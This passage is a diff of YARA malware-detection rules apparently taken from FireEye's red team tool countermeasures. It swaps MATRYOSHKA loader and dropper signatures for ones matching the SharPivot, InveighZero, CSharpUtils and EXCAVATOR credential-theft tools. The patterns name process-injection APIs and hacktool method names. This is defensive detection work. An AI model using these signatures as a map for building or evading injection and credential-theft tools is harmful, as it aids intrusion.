uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_1 : FILE +rule FIREEYE_RT_Tool_MSIL_Csharputils_1 : FILE { meta: - description = "matryoshka_process_hollow.rs" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project." author = "FireEye" - id = "69919a80-8ed1-5b8c-911a-ceb75570f11f" - date = "2020-12-02" - date = "2020-12-02" + id = "a0e8c45a-759a-5611-aa2a-3113a75fb651" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPUTILS/production/yara/Tool_MSIL_CSharpUtils_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "44887551a47ae272d7873a354d24042d" - logic_hash = "46e5480dc95ce8b9d8385c2e44a50b21629301535b93833c13cc3db319ac15dd" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "11dfd44fb4ee1e610c2e4a941b3a1e88eafc30a2a2237529150e73bceb2a1324" score = 75 - quality = 75 + quality = 65 tags = "FILE" rev = 1 strings: - $sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 } - $sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 } - $sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 } + $typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide + $typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide + $typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide + $typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide + $typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Dropper_Win_MATRYOSHKA_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_INVEIGHZERO_1 : FILE { meta: - description = "matryoshka_dropper.rs" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project." author = "FireEye" - id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47" - date = "2020-12-02" - date = "2020-12-02" + id = "f46fe365-ea50-5597-828e-61a7225e4c6e" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win_MATRYOSHKA_1.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/INVEIGHZERO/production/yara/HackTool_MSIL_INVEIGHZERO_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "edcd58ba5b1b87705e95089002312281" - logic_hash = "a7bf7599ec9b4b1d09a8c90b70ae565a9396fb31d449da3c1492d6fa336d9c5e" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "5d10557a83dae9508469fe87f4c0c91beec4d2812856eee461a82d5dbb89aa35" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 2 strings: - $s1 = "\x00matryoshka.exe\x00" - $s2 = "\x00Unable to write data\x00" - $s3 = "\x00Error while spawning process. NTStatus: \x0a\x00" - $s4 = "\x00.execmdstart/Cfailed to execute process\x00" + $typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_2 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_4 : FILE { meta: - description = "matryoshka.rs" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project." author = "FireEye" - id = "25f916bc-6ee1-5175-903c-4266b0a086e1" - date = "2020-12-02" - date = "2020-12-02" + id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_2.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_4.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "7f8102b789303b7861a03290c79feba0" - logic_hash = "daa6f6d526bf959c268b2c5a4cae33307cfec5e9ca51283131bbfa66a582b505" + hash = "e4efa759d425e2f26fbc29943a30f5bd" + logic_hash = "7ef883148926d5786861e5e81b1e645aa2e3ca06bd663f2b5f32e04b5852a218" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 3 strings: - $sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 } - $sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 } - $si1 = "CreateToolhelp32Snapshot" fullword - $si2 = "Process32Next" fullword + $typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_APT_Builder_PY_MATRYOSHKA_1 +rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45" - date = "2020-12-02" - date = "2020-12-02" + id = "8d6d28ce-de3a-5a38-b654-ba1372d47568" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_PY_MATRYOSHKA_1.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_2.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "25a97f6dba87ef9906a62c1a305ee1dd" - logic_hash = "71b26f4b319429ac356b55d22bccd1da85894d61f8c96452422de78d2d893420" + hash = "e4efa759d425e2f26fbc29943a30f5bd" + logic_hash = "14e4a29a32e8441a6f7f322e09cd9bb9822ae47eaa1fdf8e09c90998b03658f5" score = 75 - quality = 50 - tags = "" - rev = 1 + quality = 75 + tags = "FILE" + rev = 3 strings: - $s1 = ".pop(0)])" - $s2 = "[1].replace('unsigned char buf[] = \"'" - $s3 = "binascii.hexlify(f.read()).decode(" - $s4 = "os.system(\"cargo build {0} --bin {1}\".format(" - $s5 = "shutil.which('rustc')" - $s6 = "~/.cargo/bin" - $s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/ + $s1 = "costura" + $s2 = "cmd_schtask" wide + $s3 = "cmd_wmi" wide + $s4 = "cmd_rpc" wide + $s5 = "GoogleUpdateTaskMachineUA" wide + $s6 = "servicehijack" wide + $s7 = "poisonhandler" wide condition: - all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Dropper_Win64_MATRYOSHKA_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_3 : FILE { meta: - description = "matryoshka_dropper.rs" + description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code." author = "FireEye" - id = "1406aafd-6217-51ef-b3af-107ee88f9c99" - date = "2020-12-02" - date = "2020-12-02" - modified = "2020-12-09" + id = "616333fc-4075-5f04-823a-1164717a2b87" + date = "2020-12-08" + modified = "2020-12-10" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win64_MATRYOSHKA_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_3.yar#L4-L31" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "edcd58ba5b1b87705e95089002312281" - logic_hash = "23f811f8e9387ca6a1257a31af66de9739733e4728adba0a3e3f74b5e5c0a556" + hash = "e4efa759d425e2f26fbc29943a30f5bd" + logic_hash = "ecf13e47e409efd68b508735a84be6a1627f5b0c0cea6b90434fc9ba5b1d8cf5" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 } - $sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 } + $msil = "_CorExeMain" ascii wide + $str1 = "SharPivot" ascii wide + $str2 = "ParseArgs" ascii wide + $str3 = "GenRandomString" ascii wide + $str4 = "ScheduledTaskExists" ascii wide + $str5 = "ServiceExists" ascii wide + $str6 = "lpPassword" ascii wide + $str7 = "execute" ascii wide + $str8 = "WinRM" ascii wide + $str9 = "SchtaskMod" ascii wide + $str10 = "PoisonHandler" ascii wide + $str11 = "SCShell" ascii wide + $str12 = "SchtaskMod" ascii wide + $str13 = "ServiceHijack" ascii wide + $str14 = "commandArg" ascii wide + $str15 = "payloadPath" ascii wide + $str16 = "Schtask" ascii wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* ) } -rule FIREEYE_RT_APT_Loader_Win_MATRYOSHKA_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_1 : FILE { meta: - description = "matryoshka_process_hollow.rs" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352" - date = "2020-12-02" - date = "2020-12-02" + id = "c2834bd6-efb0-5dac-adcd-a9450090fc28" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win_MATRYOSHKA_1.yar#L4-L24" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "44887551a47ae272d7873a354d24042d" - logic_hash = "8f762684ffd3984630bf41ededa78b8993b53b22591a59912cabfe635775de53" + hash = "e4efa759d425e2f26fbc29943a30f5bd" + logic_hash = "1c71b9641e30c9764f3503e49f8f85472d7e62384c8dd2b420c4fa2b2fccda4f" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $s1 = "ZwQueryInformationProcess" fullword - $s2 = "WriteProcessMemory" fullword - $s3 = "CreateProcessW" fullword - $s4 = "WriteProcessMemory" fullword - $s5 = "\x00Invalid NT Signature!\x00" - $s6 = "\x00Error while creating and mapping section. NTStatus: " - $s7 = "\x00Error no process information - NTSTATUS:" - $s8 = "\x00Error while erasing pe header. NTStatus: " + $s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A } + $s3 = "cmd_rpc" wide + $s4 = "costura" condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSACK_1 : FILE +rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project." + description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE." author = "FireEye" - id = "8e344acb-73c4-5509-be9d-85cf6fe94445" + id = "7cabc230-e55b-5096-996a-b6a8c9693bdc" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSACK/production/yara/APT_HackTool_MSIL_SHARPSACK_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "ecc3250e65e34595b4b827add3eb3062edad6a3373930048bfd6225d4a229e93" + hash = "f7d9961463b5110a3d70ee2e97842ed3" + logic_hash = "bf4b776f34a1a9aa5438504f63a63ef452a747363de3b70cec52145d777055bd" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 4 strings: - $typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide + $bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } + $bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } + $bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 